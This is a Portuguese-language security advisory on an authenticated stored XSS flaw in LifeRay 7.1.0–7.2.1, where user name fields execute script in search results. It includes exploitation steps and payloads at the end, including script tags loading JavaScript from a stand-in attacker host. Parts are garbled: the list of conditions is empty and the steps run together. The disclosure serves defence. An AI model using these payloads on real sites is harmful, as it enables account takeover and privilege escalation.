
XSS Armazenado Autenticado no LifeRay 7.2.0 GA1 via MyAccountPortlet executado pelos Resultados da Pesquisa
Nas versões do LifeRay 7.1.0 até 7.2.1 GA2, os campos Primeiro Nome, Nome do Meio e Sobrenome das contas de usuário são vulneráveis a um problema de XSS Armazenado. Qualquer usuário pode modificar esses campos com um payload XSS específico e ele será armazenado no banco de dados "infectando" o usuário. O payload será então renderizado quando um usuário utilizar o recurso de pesquisa para buscar outros usuários. Se o usuário infectado for exibido como resultado da pesquisa, o payload XSS será executado.
Esta vulnerabilidade permite que um atacante execute código arbitrário no contexto de qualquer usuário que acione o payload XSS por meio da pesquisa. Em um sentido prático, isso pode levar à escalada de privilégios de um usuário não privilegiado para um usuário administrador, bem como a movimentação lateral na tomada de outras contas. Além disso, qualquer coisa que possa ser executada via JavaScript pode ser explorada no contexto de outro usuário.
Como você verá na Prova de Conceito (PoC), isso está totalmente aberto, pois o atacante tem a capacidade de carregar scripts externos com facilidade em um contexto padrão.
A maioria dos Cookies de Sessão importantes são sinalizados como HTTPOnly, o que impede principalmente técnicas simples de sequestro de sessão. Dito isso, deve-se notar que os usuários que visualizam a página com navegadores mais antigos são ainda mais impactados por isso, graças aos ataques XST.
Como os usuários administradores podem executar comandos Gogo Shell e Groovy Script, também pode ser possível encadear essa exploração com esses recursos normalmente pretendidos para obter RCE não intencional no sistema host, partindo de um usuário não privilegiado.
Para que essa vulnerabilidade seja acionada, duas condições devem ser atendidas:
Uma vez que essas condições sejam atendidas, os seguintes passos podem ser observados para explorar a vulnerabilidade:
Account Settings
Account Settingshttp://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????Savehttp://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive e clique no ícone de "três pontos" no lado direito e selecione join.http://mysite.com/web/guest/search?q=<my user>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>Versão do relatório 4.0